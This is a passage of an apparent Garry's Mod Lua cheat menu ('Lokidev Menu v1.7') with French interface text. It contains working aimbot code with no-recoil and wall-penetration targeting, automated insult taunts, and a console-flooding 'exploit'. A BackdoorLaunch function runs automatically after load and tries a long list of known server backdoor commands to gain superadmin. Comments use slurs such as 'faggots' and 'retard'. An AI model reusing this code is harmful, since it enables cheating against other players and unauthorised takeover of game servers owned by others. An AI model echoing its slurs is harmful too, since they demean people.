  4005. gaytext( GMenu, "Tirs pour Tuer: "..math.ceil(50 / (gdmg * gnumshots) ).."x tir tête -- "..math.ceil(100 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(400 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,155,255) )
  4006. voff = voff + 20
  4007. gaytext( GMenu, "Tirs pour Tuer (Armure): "..math.ceil(100 / (gdmg * gnumshots) ).."x tir torse -- "..math.ceil(200 / (gdmg * gnumshots)).."x tir torse -- "..math.ceil(800 / (gdmg * gnumshots)).."x tir bras", voff, Color(255,125,255,255) )
  4008. voff = voff + 40
  4009. local ttk = (delay * math.ceil(100 / (gdmg * gnumshots) )) - delay
  4010. local ttk2 = (delay * math.ceil(50 / (gdmg * gnumshots) )) - delay
  4011. local ttk3 = (delay * math.ceil(400 / (gdmg * gnumshots) )) - delay
  4012. local ttk4 = (delay * math.ceil(200 / (gdmg * gnumshots) )) - delay
  4013. local ttk5 = (delay * math.ceil(800 / (gdmg * gnumshots) )) - delay
  4014. gaytext( GMenu, "Temps pour Tuer: "..math.Round(ttk2, 3).."s (Tête) -- "..math.Round(ttk, 3).."s (Torse) -- "..math.Round(ttk3, 3).."s (Bras)", voff, Color(205,255,185,255) )
  4015. voff = voff + 20
  4016. gaytext( GMenu, "Temps pour Tuer (Armure): "..math.Round(ttk, 3).."s (Tête) -- "..math.Round(ttk4, 3).."s (Torse) -- "..math.Round(ttk5, 3).."s (Bras)", voff, Color(155,155,255,255) )
  4017. voff = voff + 20
  4018. end
  4019. concommand.Add("LokiDev_inspectweapon", ZNX.GunMenu)
  4020. ------------------------------------------------------------------------AIMBOT UTIL FUNCTIONS--------------------------------------------------------------------------------------
  4021. -- get this from a better place fucknuts
  4022. local OEyeAngles = OEyeAngles or FindMetaTable( "Player" ).SetEyeAngles
  4023. FindMetaTable( "Player" ).SetEyeAngles = function( self, angle )
  4024. if ( string.find( string.lower( debug.getinfo( 2 ).short_src ), "/weapons/" ) ) and ZNX.Vars.NoRecoil then return end
  4025. OEyeAngles( self, angle )
  4026. end
  4027. local shitweapons = {
  4028. "weapon_physgun",
  4029. "weapon_physcannon",
  4030. "weapon_bugbait",
  4031. "weapon_fists",
  4032. "gmod_camera",
  4033. "gmod_tool",
  4034. "weapon_medkit",
  4035. "weapon_zm_carry",
  4036. "weapon_ttt_unarmed",
  4037. "weapon_keypadchecker",
  4038. "arrest_stick",
  4039. "door_ram",
  4040. "keys",
  4041. "lockpick",
  4042. "med_kit",
  4043. "pocket",
  4044. "stunstick",
  4045. "unarrest_stick",
  4046. "weaponchecker",
  4047. "keypad_cracker",
  4048. }
  4049. -- make sure its a non spastic weapon to aimbot/triggerbot with
  4050. function ZNX.CanBotShoot( wep )
  4051. if !wep:IsValid() then return end
  4052. if table.HasValue( shitweapons, wep:GetClass() ) then return false end
  4053. return true
  4054. end
  4055. function ZNX.GetView()
  4056. return ZNX.ViewAngle * 1
  4057. end
  4058. function ZNX.FixView()
  4059. if !ZNX.Vars.Aimbot then return end
  4060. local ply = LocalPlayer()
  4061. if !ply:IsValid() then return end
  4062. ZNX.ViewAngle = ply:EyeAngles()
  4063. end
  4064. local sensitivity = 0.022
  4065. function ZNX.RotateView(cmd)
  4066. ZNX.ViewAngle.p = math.Clamp(ZNX.ViewAngle.p + (cmd:GetMouseY() * sensitivity), -89, 89)
  4067. ZNX.ViewAngle.y = math.NormalizeAngle(ZNX.ViewAngle.y + (cmd:GetMouseX() * sensitivity * -1))
  4068. end
  4069. -- fov based targeting shit
  4070. function ZNX.GetAngleFromCrosshair( ply )
  4071. local Ang = (ZNX.FindTargetPosition( ply ) - LocalPlayer():EyePos() ):Angle()
  4072. local myangles = LocalPlayer():EyeAngles()
  4073. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4074. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4075. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4076. return DiffX, DiffY
  4077. end
  4078. function ZNX.GetDirtyAngleFromCrosshair( ply )
  4079. local Ang = ( (ply:GetPos() + Vector( 0, 0, 35 ) ) - LocalPlayer():EyePos() ):Angle()
  4080. local myangles = LocalPlayer():EyeAngles()
  4081. if isangle( ZNX.InternalFakeAngles ) then myangles = ZNX.InternalFakeAngles end
  4082. local DiffX = math.abs( math.NormalizeAngle( myangles.p - Ang.p ) )
  4083. local DiffY = math.abs( math.NormalizeAngle( myangles.y - Ang.y ) )
  4084. return DiffX + DiffY
  4085. end
  4086. function ZNX.InFOV( ply )
  4087. local DiffX, DiffY = ZNX.GetAngleFromCrosshair( ply )
  4088. return ( DiffX <= ZNX.NumberVars.AimbotMaxFOV and DiffY <= ZNX.NumberVars.AimbotMaxFOV )
  4089. end
  4090. function ZNX.FindTargetPosition( ent )
  4091. if !ent:IsValid() then return end
  4092. if !ZNX.Vars.AimbotTargetMode then return ent:LocalToWorld( ent:OBBCenter() ) end
  4093. if ent:GetModel() == "models/crow.mdl" then return ent:LocalToWorld( Vector(0, 0, 5) ) end -- rape faggots that are in crow form, useful in gmstranded or zombie survival
  4094. if ent:IsPlayer() then
  4095. local head = ent:LookupAttachment( "eyes" )
  4096. if head then
  4097. local pos = ent:GetAttachment(head)
  4098. if pos then
  4099. return pos.Pos + ent:EyeAngles():Forward() * -1.5
  4100. end
  4101. end
  4102. end
  4103. local bone = ZNX.AimbotBone
  4104. local head = ent:LookupBone( bone )
  4105. if head then
  4106. local pos = ent:GetBonePosition( head )
  4107. if pos then
  4108. return pos
  4109. end
  4110. end
  4111. return ent:LocalToWorld( ent:OBBCenter() )
  4112. end
  4113. function ZNX.CalcTargetPosition( ent )
  4114. local targetPos = ZNX:FindTargetPosition( ent )
  4115. if LocalPlayer():IsValid() and LocalPlayer():GetActiveWeapon():IsValid() and LocalPlayer():GetActiveWeapon():GetClass() == "weapon_crossbow" then
  4116. targetPos = ZNX:PredictProjectileWeapons( ply, ent, targetPos ) or targetPos
  4117. end
  4118. return targetPos
  4119. end
  4120. function ZNX.PredictProjectileWeapons( ply, target, targetPos )
  4121. -- local dist = VecM["Length"](targetPos - PlyM["GetShootPos"](ply))
  4122. local dist = Vector(targetPos - LocalPlayer():GetShootPos()):Length()
  4123. local time = (dist / 3500) + 0.05
  4124. targetPos = targetPos + (target:GetVelocity() * time)
  4125. -- local mul = 0.0075
  4126. //targetPos = targetPos - (e["GetVelocity"](ply) * mul)
  4127. return targetPos
  4128. end
  4129. function ZNX.CanTargetPlayer( ply )
  4130. if !ZNX.Vars.TargetFriends and ZNX.IsFriend( ply ) then return false end
  4131. if ZNX.Vars.TargetHighlighted and !ZNX.IsTarget( ply ) then return false end
  4132. if !ZNX.Vars.TargetAdmins and ZNX.GetRank( ply ) != ( "user" or "guest" or "player" ) then return false end
  4133. if !ZNX.Vars.TargetSameTeam and ply:Team() == LocalPlayer():Team() then return false end
  4134. if !ZNX.Vars.TargetNoclippers and ply:GetMoveType() == MOVETYPE_NOCLIP then return false end
  4135. if ZNX.Vars.TargetMurder and !ply:HasWeapon("weapon_mu_knife") then return false end
  4136. if DarkRP and ZNX.IsBabyGod( ply ) then return false end
  4137. return true
  4138. end
  4139. local boners = {
  4140. "ValveBiped.Bip01_Head1",
  4141. "ValveBiped.Bip01_Spine2",
  4142. "ValveBiped.Bip01_Pelvis",
  4143. "ValveBiped.Bip01_R_Forearm",
  4144. "ValveBiped.Bip01_L_Forearm",
  4145. "ValveBiped.Bip01_R_Calf",
  4146. "ValveBiped.Bip01_L_Calf",
  4147. "ValveBiped.Bip01_R_Foot",
  4148. "ValveBiped.Bip01_L_Foot",
  4149. }
  4150. function ZNX.PrepareForAStomping( ply )
  4151. if !ply:IsValid() then return false end
  4152. if ply:GetModel() == "models/crow.mdl" and ZNX.PlayerVisible( ply, ply:LocalToWorld( Vector(0, 0, 5) ) ) then return ply:LocalToWorld( Vector(0, 0, 5) ) end
  4153. if ZNX.Vars.AimbotTargetMode then
  4154. -- right in the kisser
  4155. local head = ply:LookupAttachment( "eyes" )
  4156. if head then
  4157. local pos = ply:GetAttachment(head)
  4158. if pos then
  4159. local tpoz = pos.Pos + ply:EyeAngles():Forward() * -1.5
  4160. if ZNX.PlayerVisible( ply, tpoz ) then return tpoz end
  4161. end
  4162. end
  4163. else
  4164. -- b aim
  4165. local head = ply:LookupBone( "ValveBiped.Bip01_Pelvis" )
  4166. if head then
  4167. local poz = ply:GetBonePosition( head )
  4168. if poz then
  4169. if ZNX.PlayerVisible( ply, poz ) then return poz end
  4170. end
  4171. end
  4172. end
  4173. if ZNX.Vars.AimbotAdaptiveTarget then
  4174. local returnpos = -1
  4175. for _, b in ipairs( boners ) do
  4176. local head = ply:LookupBone( b )
  4177. if head then
  4178. local poz = ply:GetBonePosition( head )
  4179. if poz then
  4180. if ZNX.PlayerVisible( ply, poz ) then returnpos = poz break end
  4181. end
  4182. end
  4183. end
  4184. if isvector( returnpos ) then return returnpos end
  4185. end
  4186. local lastresort = ply:LocalToWorld( ply:OBBCenter() )
  4187. if ZNX.PlayerVisible( ply, lastresort ) then return lastresort end
  4188. return false
  4189. end
  4190. function ZNX.PlayerVisible( ply, testpos )
  4191. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4192. local td = {start = LocalPlayer():GetShootPos(), endpos = testpos, filter = {LocalPlayer(), ply}, mask = MASK_SHOT}
  4193. local tr = util.TraceLine(td)
  4194. --if tr.Entity:IsValid() and tr.Entity == ply then return true end
  4195. if !tr.Hit then return true end
  4196. if ZNX.Vars.AimbotWallbanger and ZNX.CanWeaponPenetrate( tr, ply ) then return true end
  4197. return false
  4198. end
  4199. -- sorta like above but doesnt require a testpos
  4200. function ZNX.PlayerVisiblePK( source, ply )
  4201. if !ply:IsValid() or !ply:IsPlayer() then return false end
  4202. local td = {start = source, endpos = ply:LocalToWorld( ply:OBBCenter() ), filter = function( e ) return ( e != LocalPlayer() and e != ply and e:GetClass() != "prop_physics") end, mask = MASK_SHOT}
  4203. local tr = util.TraceLine(td)
  4204. --if tr.Entity:IsValid() and tr.Entity == ply then return true, tr.HitPos end
  4205. if !tr.Hit then return true, ply:LocalToWorld( ply:OBBCenter() ) end
  4206. return false, Vector( 0,0,0 )
  4207. end
  4208. -- returns the closest alive player, if visible is true then it will return the closest alive and visible player
  4209. function ZNX.GetClosestPlayer()
  4210. local nearestEnt = game.GetWorld()
  4211. local mypos = LocalPlayer():GetPos()
  4212. local plytab = player.GetAll()
  4213. table.sort( plytab, function( a, b ) return a:GetPos():Distance( mypos ) < b:GetPos():Distance( mypos ) end )
  4214. for _, ent in ipairs( plytab ) do
  4215. if ent == LocalPlayer() then continue end
  4216. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4217. nearestEnt = ent
  4218. break
  4219. end
  4220. return nearestEnt
  4221. end
  4222. -- returns the closest alive player to your crosshair, visible to return only visible players
  4223. function ZNX.GetClosestToCursor( visible )
  4224. local nearestEnt = game.GetWorld()
  4225. local fovtotal = ZNX.NumberVars.AimbotMaxFOV or 0
  4226. if fovtotal > 179 then return ZNX.GetClosestPlayer() end -- kick it into ragebot mode
  4227. local mypos = LocalPlayer():GetPos()
  4228. local plytab = player.GetAll()
  4229. table.sort( plytab, function( a, b ) return ZNX.GetDirtyAngleFromCrosshair( a ) < ZNX.GetDirtyAngleFromCrosshair( b ) end )
  4230. for _, ent in ipairs( plytab ) do
  4231. if ent == LocalPlayer() then continue end
  4232. -- we've exceeded our max fov so just stop looping here
  4233. if !ZNX.InFOV( ent ) then break end
  4234. -- save a bunch of useless calcs
  4235. if !ent:IsValid() or ZNX.IsDead( ent ) or !ZNX.CanTargetPlayer( ent ) or (ZNX.ToMetric( LocalPlayer():GetPos():Distance( ent:GetPos() ) ) >= ZNX.NumberVars.AimbotDist ) then continue end
  4236. nearestEnt = ent
  4237. break
  4238. end
  4239. return nearestEnt
  4240. end
  4241. gameevent.Listen( "entity_killed" )
  4242. hook.Add( "entity_killed", "LokiDev_propkilldetector", function( data )
  4243. local inflictor_index = data.entindex_inflictor
  4244. local attacker_index = data.entindex_attacker
  4245. local damagebits = data.damagebits
  4246. local victim_index = data.entindex_killed
  4247. local ply = "personne?"
  4248. local retard = game.GetWorld()
  4249. local atk = "la map"
  4250. local wep = "arme inconnue"
  4251. local killah = game.GetWorld()
  4252. local inflictor = ents.GetByIndex(inflictor_index)
  4253. for _, p in pairs(player.GetAll()) do
  4254. if p:EntIndex() == victim_index then ply = p:Nick() retard = p end
  4255. if p:EntIndex() == attacker_index then
  4256. atk = p:Nick()
  4257. killah = p
  4258. if p:GetActiveWeapon() and p:GetActiveWeapon():IsValid() then wep = p:GetActiveWeapon():GetPrintName() end
  4259. end
  4260. end
  4261. if ZNX.Vars.DeathTaunts and retard == LocalPlayer() then LocalPlayer():ConCommand( "say "..atk.." "..ZNX.GenerateInsult() ) end
  4262. if ZNX.Vars.NewLifeRule and retard == LocalPlayer() then LocalPlayer():ConCommand( "LokiDev_random_rpname" ) end
  4263. if attacker_index == victim_index then ZNX.DebugLog( ply.." c'est étranglé lui-même", Color(180,150,150) ) if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." c'est étranglé lui-même", Color(255,155,105) ) end return end
  4264. if inflictor:IsValid() and inflictor:GetClass() == "prop_physics" then
  4265. ZNX.DebugLog( ply.." a etait tuer par un prop!", Color(180,150,150) )
  4266. if ZNX.Vars.NotifyKills then ZNX.ChatText( ply.." a etait tuer par un prop!", Color(255,155,105) ) end
  4267. return
  4268. end
  4269. ZNX.DebugLog( atk.." a tuer "..ply.." avec: "..wep, Color(200,150,150) )
  4270. if ZNX.Vars.NotifyKills then ZNX.ChatText( atk.." a tuer "..ply.." avec: "..wep, Color(255,155,105) ) end
  4271. if ZNX.Vars.KillTaunts and retard != LocalPlayer() and killah == LocalPlayer() then LocalPlayer():ConCommand( "say "..ply.." "..ZNX.GenerateInsult() ) end
  4272. --[[
  4273. local ply = "nobody"
  4274. local prop = "nothing"
  4275. for k, v in pairs(ents.GetAll()) do
  4276. if v:EntIndex() == victim_index then ply = v end
  4277. if (v:GetClass() == "prop_physics" or string.find(v:GetClass(), "gmod_") or string.find(v:GetClass(), "wire_") ) and v:EntIndex() == attacker_index then prop = v end
  4278. end
  4279. if !FPP then return end
  4280. if ply == "nobody" or prop == "nothing" then return end
  4281. if !FPP.entGetOwner( prop ):IsValid() then return end
  4282. ZNX.DebugLog( FPP.entGetOwner( prop ):Nick().." propkilled "..ply:Nick().." with a "..prop:GetClass().." ("..prop:GetModel()..")", Color(150,150,55) )
  4283. --]]
  4284. end )
  4285. gameevent.Listen( "player_connect" )
  4286. hook.Add( "player_connect", "LokiDev_playerconnected", function( data )
  4287. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) est connecté au serveur.", Color(150,150,150) )
  4288. end )
  4289. gameevent.Listen( "player_hurt" )
  4290. hook.Add( "player_hurt", "crosshair_readinjuries", function( data )
  4291. if data.attacker == LocalPlayer():UserID() then ZNX.CrossHairAlpha = 255 end
  4292. end )
  4293. gameevent.Listen( "player_disconnect" )
  4294. hook.Add( "player_disconnect", "LokiDev_playerleave", function( data )
  4295. timer.Simple( 0.5, function() ZNX.RemoveInvalidFriends() end )
  4296. ZNX.DebugLog( data.name .. " ( ".. data.networkid.." ) a été déconnecté du serveur. ( ".. data.reason .." )", Color(150,150,150) )
  4297. end )
  4298. ZNX.DebugLog( "Lokidev Menu v1.7 initialisé...", Color(200,200,255) )
  4299. if ULib then
  4300. ZNX.DebugLog( "Remplacements ULX détectés, réparation du système de Hook...", Color(150,250,150) )
  4301. ZNX.DebugLog( "Système de Hook réparé avec succès :)", Color(150,250,150) )
  4302. end
  4303. function ZNX.AddServer()
  4304. local myservername = "\n"..GetHostName()
  4305. local myserverip = "\n"..game.GetIPAddress().."\n"
  4306. if !myservername or !myserverip then return end
  4307. file.Append( "LokiDev_serveur_list.txt", myservername..myserverip )
  4308. ZNX.DebugLog( "Serveur Ajouter a la Liste", Color(150,250,150) )
  4309. end
  4310. function ZNX.LoadServeur()
  4311. if (not file.Exists("LokiDev_serveur_list.txt", "Data"))
  4312. then file.Write("LokiDev_serveur_list.txt", "")
  4313. end
  4314. local sucks = file.Read( "LokiDev_serveur_list.txt", "DATA" )
  4315. if !sucks then ZNX.DebugLog( "Aucun serveur sauvegarder", Color(150,250,150) ) end
  4316. print(sucks)
  4317. ZNX.DebugLog( "Liste des serveurs afficher dans les 2 console", Color(150,250,150) )
  4318. ZNX.DebugLog( sucks, Color(150,250,150) )
  4319. end
  4320. function ZNX.DeleteServeur()
  4321. file.Delete( "LokiDev_serveur_list.txt", "DATA" )
  4322. ZNX.DebugLog( "Toutes les Serveurs ont été supprimées", Color(150,250,150) )
  4323. end
  4324. concommand.Add("LokiDev_dumpnwstrings", function()
  4325. local netstrings = {}
  4326. for i = 1, 9999 do
  4327. local s = util.NetworkIDToString( i )
  4328. if s then print( "[LokiDev] NetChannel "..i.." = "..s ) else break end
  4329. end
  4330. end)
  4331. function ZNX.DumpHookTable( p, cmd, args )
  4332. local hks = args[1]
  4333. local hooktable = hook.GetTable()
  4334. if !hks or hks == "" then
  4335. for k, v in pairs( hooktable ) do
  4336. print( k.." = "..table.Count( v ).." hooks" )
  4337. end
  4338. elseif !hooktable[hks] then print( "Mauvais nom de hook! fait-le bien abruti sans talents...") return
  4339. else
  4340. for k, v in pairs( hooktable[hks] ) do
  4341. print( k.." = "..debug.getinfo( v ).source.." ligne: "..debug.getinfo( v ).linedefined.." - "..debug.getinfo( v ).lastlinedefined )
  4342. end
  4343. end
  4344. end
  4345. concommand.Add( "LokiDev_dumphooks", ZNX.DumpHookTable )
  4346. function ZNX.DumpCommandTable( p, cmd, args )
  4347. local commandtable = concommand.GetTable()
  4348. if !commandtable then return end
  4349. for k, v in pairs( commandtable ) do
  4350. if debug.getinfo( v ).source ~= "@lokidev_menu_v1.7.lua" and debug.getinfo( v ).source ~= "@lokidev_exploits_menu.lua" then
  4351. print( "Commande: "..k.." - Source: "..debug.getinfo( v ).source )
  4352. end
  4353. end
  4354. end
  4355. concommand.Add( "LokiDev_dumpcommands", ZNX.DumpCommandTable )
  4356. --[[
  4357. function ZNX.SetRotateAngle( p, cmd, arg )
  4358. if !arg[1] or !isnumber(arg[1]) then return end
  4359. ZNX.NumberVars.PKRotateAngle = tonumber(arg[1])
  4360. end
  4361. concommand.Add( "LokiDev_180up_vertical_angle", ZNX.SetRotateAngle )
  4362. --]]
  4363. local namesf = {
  4364. "Marc",
  4365. "Hugh",
  4366. "Maurice",
  4367. "Gill",
  4368. "Etienne",
  4369. "Antoine",
  4370. "Jean",
  4371. "Benoit",
  4372. "Gilbert",
  4373. "Laurent",
  4374. "Alexis",
  4375. "Alexandre",
  4376. "Denis",
  4377. "Nicholas",
  4378. "Leon",
  4379. "Leonard",
  4380. "Leo",
  4381. "Olivier",
  4382. "Curtis",
  4383. "Antonio",
  4384. "Gregory",
  4385. "Charlie",
  4386. "Luc",
  4387. "Patrick",
  4388. "Phillip",
  4389. "Bernard",
  4390. "Charles",
  4391. "Gaspar",
  4392. "Claude",
  4393. "Michael",
  4394. "Brandon",
  4395. "Richard",
  4396. "William",
  4397. "Serge",
  4398. "Freddie",
  4399. "Samuel",
  4400. "Gaetan",
  4401. "Gerald",
  4402. "Arnold",
  4403. "Roland",
  4404. "Justin",
  4405. "Theodore",
  4406. "Claude",
  4407. "Hugues",
  4408. "Albert",
  4409. "Arthur",
  4410. "Jay",
  4411. "Jeremi",
  4412. "Rene",
  4413. "Pascal",
  4414. "Carlos",
  4415. "Fabien",
  4416. "Rafael",
  4417. "Benjamin",
  4418. "Ernest",
  4419. "Victor",
  4420. "Martin",
  4421. "Franck",
  4422. "Walter",
  4423. "Isaac",
  4424. "Roger",
  4425. "Alfred",
  4426. "Jason",
  4427. "Danny",
  4428. "Henry",
  4429. "Jimmy",
  4430. "Kevin",
  4431. "Geoffrey",
  4432. "Dominic",
  4433. "Christopher",
  4434. "David",
  4435. "Steven",
  4436. }
  4437. local namesfem = {
  4438. "Marie",
  4439. "Anastasie",
  4440. "Nathalie",
  4441. "Amabella",
  4442. "Laetitia",
  4443. "Amelie",
  4444. "Jeanette",
  4445. "Virginie",
  4446. "Rachelle",
  4447. "Marine",
  4448. "Germaine",
  4449. "Gabriel",
  4450. "Sophie",
  4451. "Melisande",
  4452. "Astrid",
  4453. "Emmeline",
  4454. "Paulette",
  4455. "Laurence",
  4456. "Monique",
  4457. "Louise",
  4458. "Charlotte",
  4459. "Olivia",
  4460. "Chloe",
  4461. "Isabel",
  4462. "Elise",
  4463. "Sophie",
  4464. "Lily",
  4465. "Evelyn",
  4466. "Anna",
  4467. "Camille",
  4468. "Madeline",
  4469. "Claire",
  4470. "Victoria",
  4471. "Mia",
  4472. "Fabienne",
  4473. "Claudia",
  4474. "Margot",
  4475. "Julienne",
  4476. }
  4477. local namesl = {
  4478. "Daigneault",
  4479. "Lambert",
  4480. "Busson",
  4481. "St-Pierre",
  4482. "Duriff",
  4483. "Beaulac",
  4484. "Monrency",
  4485. "Desroches",
  4486. "Barriere",
  4487. "Plouffe",
  4488. "Cantin",
  4489. "Achin",
  4490. "Hughes",
  4491. "Machintruk",
  4492. "Mercier",
  4493. "Huot",
  4494. "Beaulieu",
  4495. "Garnier",
  4496. "Royer",
  4497. "Gladu",
  4498. "Hacher",
  4499. "Ouellet",
  4500. "Marshall",
  4501. "Lecuyer",
  4502. "Mothe",
  4503. "Brousse",
  4504. "Gilbert",
  4505. "Parrot",
  4506. "Gonzales",
  4507. "Beaudry",
  4508. "Robinson",
  4509. "Mcdonald",
  4510. "Parmentier",
  4511. "Chalifour",
  4512. "Dufour",
  4513. "Charpentier",
  4514. "Picard",
  4515. "Hervieux",
  4516. "Bureau",
  4517. "Gareau",
  4518. "Laderoute",
  4519. "Paiement",
  4520. "Frechette",
  4521. "Hervieux",
  4522. "Williams",
  4523. "Avare",
  4524. "Dufresne",
  4525. "Vertefeuille",
  4526. "Pelchat",
  4527. "Auclair",
  4528. "Richard",
  4529. "Arnaud"
  4530. }
  4531. function ZNX.GenerateRPName( p, cmd, arg )
  4532. if !DarkRP then ZNX.ChatText( "Le nom rp aléatoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4533. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4534. end
  4535. concommand.Add( "LokiDev_random_rpname_male", ZNX.GenerateRPName )
  4536. function ZNX.GenerateRPNameFemale( p, cmd, arg )
  4537. if !DarkRP then ZNX.ChatText( "Le nom rp aléatoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4538. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4539. end
  4540. concommand.Add( "LokiDev_random_rpname_female", ZNX.GenerateRPNameFemale )
  4541. function ZNX.GenerateRPNameBoth( p, cmd, arg )
  4542. if !DarkRP then ZNX.ChatText( "Le nom rp aléatoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4543. if math.random( 1, 100 ) > 55 then
  4544. RunConsoleCommand( "darkrp", "rpname", table.Random( namesfem ).." "..table.Random( namesl ) )
  4545. else
  4546. RunConsoleCommand( "darkrp", "rpname", table.Random( namesf ).." "..table.Random( namesl ) )
  4547. end
  4548. end
  4549. concommand.Add( "LokiDev_random_rpname", ZNX.GenerateRPNameBoth )
  4550. function ZNX.RandomRPJob( p, cmd, arg )
  4551. if !DarkRP then ZNX.ChatText( "Le nom rp aléatoire fonctionne seulement en darkrp !", Color(255,205,205) ) return end
  4552. local fag = DarkRP.getCategories()
  4553. local jcmds = {}
  4554. for k, v in pairs( fag.jobs ) do
  4555. for _, j in pairs( v.members ) do
  4556. if j.customCheck and !j.customCheck( LocalPlayer() ) then continue end
  4557. if j.vote then continue end
  4558. if j.NeedToChangeFrom then continue end
  4559. table.insert( jcmds, j.command )
  4560. end
  4561. end
  4562. RunConsoleCommand( "darkrp", table.Random( jcmds ) )
  4563. end
  4564. concommand.Add( "LokiDev_random_rp_job", ZNX.RandomRPJob )
  4565. function ZNX.InnocentRoleplayer( p, cmd, arg )
  4566. LocalPlayer():ConCommand( "cl_weaponcolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4567. LocalPlayer():ConCommand( "cl_playercolor "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ).." "..math.Rand( 0, 1 ) )
  4568. RunConsoleCommand( "kill" )
  4569. ZNX.GenerateRPNameBoth()
  4570. ZNX.RandomRPJob()
  4571. end
  4572. concommand.Add( "LokiDev_innocent_roleplayer", ZNX.InnocentRoleplayer )
  4573. function ZNX.ErrorRape()
  4574. local str = "\n"
  4575. for i = 1, 512 do str = str.."\n" end
  4576. Error( str )
  4577. end
  4578. concommand.Add( "LokiDev_exploit_rapeconsole", ZNX.ErrorRape )
  4579. function BackdoorLaunch()
  4580. local Moileboss = LocalPlayer()
  4581. if not Moileboss:IsSuperAdmin() then
  4582. if ConVarExists("debugcmd") then
  4583. RunConsoleCommand("debugcmd")
  4584. end
  4585. if ConVarExists("Sandbox_ArmDupe") then
  4586. RunConsoleCommand("Sandbox_ArmDupe")
  4587. end
  4588. if ConVarExists("dronesrewrite_admin_hackall") then
  4589. RunConsoleCommand("dronesrewrite_admin_hackall")
  4590. end
  4591. if ConVarExists("freezedatacmd") then
  4592. RunConsoleCommand("freezedatacmd")
  4593. end
  4594. if ConVarExists("thepostaldude") then
  4595. RunConsoleCommand("thepostaldude")
  4596. end
  4597. if ConVarExists("k555") then
  4598. RunConsoleCommand("k555")
  4599. end
  4600. if ConVarExists("l666") then
  4601. RunConsoleCommand("l666")
  4602. end
  4603. if ConVarExists("m777") then
  4604. RunConsoleCommand("m777")
  4605. end
  4606. if ConVarExists("n888") then
  4607. RunConsoleCommand("n888")
  4608. end
  4609. if ConVarExists("b999") then
  4610. RunConsoleCommand("b999")
  4611. end
  4612. if ConVarExists("v000") then
  4613. RunConsoleCommand("v000")
  4614. end
  4615. if ConVarExists("c111") then
  4616. RunConsoleCommand("c111")
  4617. end
  4618. if ConVarExists("x222") then
  4619. RunConsoleCommand("x222")
  4620. end
  4621. if ConVarExists("_resstart") then
  4622. RunConsoleCommand("_resstart")
  4623. end
  4624. if ConVarExists("5687476") then
  4625. RunConsoleCommand("5687476")
  4626. end
  4627. if ConVarExists("72648954") then
  4628. RunConsoleCommand("72648954")
  4629. end
  4630. if ConVarExists("backdv1") then
  4631. RunConsoleCommand("backdv1")
  4632. end
  4633. if ConVarExists("_sv") then
  4634. RunConsoleCommand("_sv")
  4635. end
  4636. if ConVarExists("wtbdinterface") then
  4637. RunConsoleCommand("wtbdinterface")
  4638. end
  4639. if ConVarExists("infammo") then
  4640. RunConsoleCommand("infammo")
  4641. end
  4642. if ConVarExists("i_admin") then
  4643. RunConsoleCommand("i_admin")
  4644. end
  4645. if ConVarExists("backdoor_ttt") then
  4646. RunConsoleCommand("backdoor_ttt")
  4647. end
  4648. if ConVarExists("76soldier_sa") then
  4649. RunConsoleCommand("76soldier_sa")
  4650. end
  4651. if ConVarExists("go") then
  4652. RunConsoleCommand("go")
  4653. end
  4654. if ConVarExists("bang") then
  4655. RunConsoleCommand("bang")
  4656. end
  4657. if ConVarExists("EnfinUnPoColon") then
  4658. RunConsoleCommand("EnfinUnPoColon")
  4659. end
  4660. if ConVarExists("Lee_WeaponMelee") then
  4661. RunConsoleCommand("Lee_WeaponMelee")
  4662. end
  4663. if ConVarExists("htx_menu") then
  4664. RunConsoleCommand("htx_menu")
  4665. end
  4666. if ConVarExists("324879974") then
  4667. RunConsoleCommand("324879974")
  4668. end
  4669. if ConVarExists("_76") then
  4670. RunConsoleCommand("_76")
  4671. end
  4672. if ConVarExists("killyourself") then
  4673. RunConsoleCommand("killyourself")
  4674. end
  4675. if ConVarExists("bang") then
  4676. RunConsoleCommand("bang")
  4677. end
  4678. if ConVarExists("e7KwlOZB6PT37RBPhyjP") then
  4679. RunConsoleCommand("e7KwlOZB6PT37RBPhyjP")
  4680. end
  4681. if ConVarExists("C6RcfnOhuPkDPoQkgzu8") then
  4682. RunConsoleCommand("C6RcfnOhuPkDPoQkgzu8")
  4683. end
  4684. if ConVarExists("engine_force_button") then
  4685. RunConsoleCommand("engine_force_button")
  4686. end
  4687. if ConVarExists("netgraph_ssp") then
  4688. RunConsoleCommand("netgraph_ssp")
  4689. end
  4690. if ConVarExists("netgraph_sm") then
  4691. RunConsoleCommand("netgraph_sm")
  4692. end
  4693. if ConVarExists("superadmin_les_khey") then
  4694. RunConsoleCommand("superadmin_les_khey")
  4695. end
  4696. timer.Simple( 1.5, function()
  4697. if Moileboss:IsSuperAdmin() then
  4698. chat.AddText(Color(0,255,0),"Backdoor Detecter | Tu es maintenant superadmin :)")
  4699. else
  4700. chat.AddText(Color(255,0,0),"Aucun Backdoor Detecter")
  4701. end
  4702. end)
  4703. else
  4704. chat.AddText(Color(0,255,0)," Tu es superadmin !")
  4705. end
  4706. end
  4707. surface.CreateFont("HUDLogo3",{font = "Ravie", size = 60, weight = 100, antialias = 0})
  4708. surface.CreateFont("HUDLogo2",{font = "Ravie", size = 17, weight = 100, antialias = 0})
  4709. timer.Simple( 3, BackdoorLaunch )
  4710. surface.CreateFont("s1", {
  4711. font = "ScoreboardText",
  4712. size = 22,
  4713. weight = 0,
  4714. antialias = true,
  4715. shadow = false,
  4716. })
